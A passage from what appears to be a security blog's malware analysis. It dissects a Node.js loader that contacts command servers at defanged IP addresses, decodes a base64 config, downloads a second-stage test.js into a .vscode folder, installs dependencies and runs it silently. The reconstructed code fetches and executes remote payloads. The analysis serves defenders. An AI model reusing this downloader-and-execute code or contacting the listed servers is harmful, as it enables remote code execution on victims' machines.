<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">installDependenciesAndExecute</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">});</span></span></code></pre></div>



<p class="wp-block-paragraph">It attempts to install Node.js dependencies using two different methods:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>exec(`cd "${directory}" &amp;&amp; npm i --silent`, () => finalizeInstallation(directory));</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">`cd &quot;</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">directory</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot; &amp;&amp; npm i --silent`</span><span style="color: #D4D4D4">, () </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">finalizeInstallation</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">));</span></span></code></pre></div>



<p class="wp-block-paragraph">If that fails, it tries:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>exec(`npm --prefix "${directory}" install`, () => executePayload(directory));</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">`npm --prefix &quot;</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">directory</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot; install`</span><span style="color: #D4D4D4">, () </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">executePayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">));</span></span></code></pre></div>



<p class="wp-block-paragraph">The dual strategy increases resilience across different shell environments.</p>



<p class="wp-block-paragraph"><strong>Stage 6: Execution</strong></p>



<p class="wp-block-paragraph">If dependency installation succeeds or is skipped, the script executes the second-stage payload using:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>exec(`node ${path.join(directory, "test.js")}`);</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">`node </span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;test.js&quot;</span><span style="color: #D4D4D4">)</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">);</span></span></code></pre></div>



<p class="wp-block-paragraph">The payload is now fully operational, launched silently with no output or logging — effectively giving the malware authors remote execution capability on the infected machine.</p>



<p class="wp-block-paragraph"><strong>Persistence Strategy</strong></p>



<p class="wp-block-paragraph">If the first contact with the C2 fails, the malware retries up to three times, with a 10-minute interval between each:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const interval = 0x94f40; // ~ 10 minutes
let attempts = 1;
const intervalId = setInterval(() => {
    if (attempts &lt; 3) {
        fetchInitialConfig(false);
        attempts++;
    } else {
        clearInterval(intervalId);
    }
}, interval);</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">interval</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">0x94f40</span><span style="color: #D4D4D4">; </span><span style="color: #6A9955">// ~ 10 minutes</span></span>
<span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">attempts</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">intervalId</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">setInterval</span><span style="color: #D4D4D4">(() </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">attempts</span><span style="color: #D4D4D4"> &lt; </span><span style="color: #B5CEA8">3</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">fetchInitialConfig</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">false</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">attempts</span><span style="color: #D4D4D4">++;</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">clearInterval</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">intervalId</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}, </span><span style="color: #9CDCFE">interval</span><span style="color: #D4D4D4">);</span></span></code></pre></div>



<p class="wp-block-paragraph">This persistence-attempt mechanism helps the malware ride out temporary network issues, delayed command server availability or other persistance issues.</p>



<p class="wp-block-paragraph">Lets take a closer look at the related IP addresses:</p>



<ul class="wp-block-list">
<li>165[.]140[.]85[.]105</li>



<li>165[.]140[.]86[.]106</li>
</ul>



<p class="wp-block-paragraph">After performing a GET request at &#8220;<strong>http://165[.]140[.]85[.]105:1244/s/bc7be3873ca9</strong>&#8221; we obtained the string &#8220;<strong>ZT3MTQ3LjEyNC4yMTIuMTI1LHVnRHRNZTE=</strong>&#8220;. It is clear that this is used for the next stage of the malware:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>// On success, expect body starting with 'ZT3' followed by base64 data
        if (typeof body === 'string' &amp;&amp; body.startsWith("ZT3")) {
            // Strip the leading marker "ZT3"
            const b64data = body.substring(3);
            try {
                const decoded = b64decode(b64data);  // Decode the remaining base64 string
                const parts = decoded.split(',');    // Expect two parts separated by comma
                // parts&#91;0&#93; = domain or IP for subsequent requests, parts&#91;1&#93; = type code
                baseURL = `http://${parts&#91;0&#93;}:${port}`;  // e.g., "http://&lt;domain>:1244"
                dataType = parts&#91;1&#93;;</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #6A9955">// On success, expect body starting with &#39;ZT3&#39; followed by base64 data</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #569CD6">typeof</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4"> === </span><span style="color: #CE9178">&#39;string&#39;</span><span style="color: #D4D4D4"> &amp;&amp; </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;ZT3&quot;</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// Strip the leading marker &quot;ZT3&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">b64data</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">substring</span><span style="color: #D4D4D4">(</span><span style="color: #B5CEA8">3</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">decoded</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">b64decode</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">b64data</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// Decode the remaining base64 string</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">parts</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">decoded</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">split</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;,&#39;</span><span style="color: #D4D4D4">);    </span><span style="color: #6A9955">// Expect two parts separated by comma</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// parts&#91;0&#93; = domain or IP for subsequent requests, parts&#91;1&#93; = type code</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`http://</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">parts</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">&#93;</span><span style="color: #569CD6">}</span><span style="color: #CE9178">:</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">port</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// e.g., &quot;http://&lt;domain&gt;:1244&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">parts</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">&#93;;</span></span></code></pre></div>



<p class="wp-block-paragraph">From the string we obtained we get the following parts:</p>



<ul class="wp-block-list">
<li>IP address: <strong>147[.]124<strong>[.]</strong>212<strong>[.]</strong>125</strong></li>



<li>Another string for our next stage of the malware: <strong>ugDtMe1</strong></li>
</ul>



<p class="wp-block-paragraph">Those will be used for the next main-stage of the malware:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>// Download second-stage payload (test.js) and then proceed to package installation
function downloadPayloadAndExecute() {
    const payloadURL = baseURL + secondStagePathPrefix + dataType;  // e.g., "http://&lt;server>:1244/j/&lt;type>"
    const localPayloadPath = path.join(payloadDir, secondStageFileName);  // e.g., ".../.vscode/test.js"

    // Remove existing payload file if it exists
    try { 
        removeFile(localPayloadPath); 
    } catch (e) { /* ignore errors if file doesn't exist */ }

    // Download the second-stage JavaScript file
    request.get(payloadURL, (err, resp, body) => {
        if (!err) {
            try {
                writeFile(localPayloadPath, body);  // save the file
            } catch (e) { /* ignore write errors */ }
            // After saving the payload, attempt to fetch package.json and install dependencies
            setupAndRunPayload(payloadDir);
        }
    });
}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #6A9955">// Download second-stage payload (test.js) and then proceed to package installation</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">downloadPayloadAndExecute</span><span style="color: #D4D4D4">() {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">payloadURL</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">secondStagePathPrefix</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// e.g., &quot;http://&lt;server&gt;:1244/j/&lt;type&gt;&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">localPayloadPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">secondStageFileName</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// e.g., &quot;.../.vscode/test.js&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Remove existing payload file if it exists</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> { </span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">removeFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">localPayloadPath</span><span style="color: #D4D4D4">); </span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) { </span><span style="color: #6A9955">/* ignore errors if file doesn&#39;t exist */</span><span style="color: #D4D4D4"> }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Download the second-stage JavaScript file</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">get</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadURL</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">resp</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">writeFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">localPayloadPath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// save the file</span></span>
<span class="line"><span style="color: #D4D4D4">            } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) { </span><span style="color: #6A9955">/* ignore write errors */</span><span style="color: #D4D4D4"> }</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// After saving the payload, attempt to fetch package.json and install dependencies</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">setupAndRunPayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    });</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="457" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-25-1024x457.png" alt="" class="wp-image-187" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-25-1024x457.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-25-300x134.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-25-768x343.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-25.png 1057w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Which give us this beutifull result:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="335" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-26-1024x335.png" alt="" class="wp-image-188" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-26-1024x335.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-26-300x98.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-26-768x251.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-26-1536x503.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-26-2048x670.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">This is then destined to be executed from the malware via the following code:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>function installDependenciesAndExecute(directory) {
    const nodeModulesPath = path.join(directory, nodeModulesDir);
    if (fileExists(nodeModulesPath)) {
        // Dependencies already installed, run the payload directly
        executePayload(directory);
    } else {
        // Run "cd &#91;directory&#93; &amp;&amp; npm i --silent" to install dependencies
        const installCmd = `${cdCommand} "${directory}" ${npmInstallCmd}`;
        try {
            exec(installCmd, (error, stdout, stderr) => {
                // After attempting installation, run the fallback or execute payload
                finalizeInstallation(directory);
            });
        } catch (e) {
            // If exec throws, try fallback method
            finalizeInstallation(directory);
        }
    }
}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">installDependenciesAndExecute</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">nodeModulesPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">nodeModulesDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">nodeModulesPath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Dependencies already installed, run the payload directly</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">executePayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Run &quot;cd &#91;directory&#93; &amp;&amp; npm i --silent&quot; to install dependencies</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">installCmd</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">cdCommand</span><span style="color: #569CD6">}</span><span style="color: #CE9178"> &quot;</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">directory</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot; </span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">npmInstallCmd</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;</span></span>
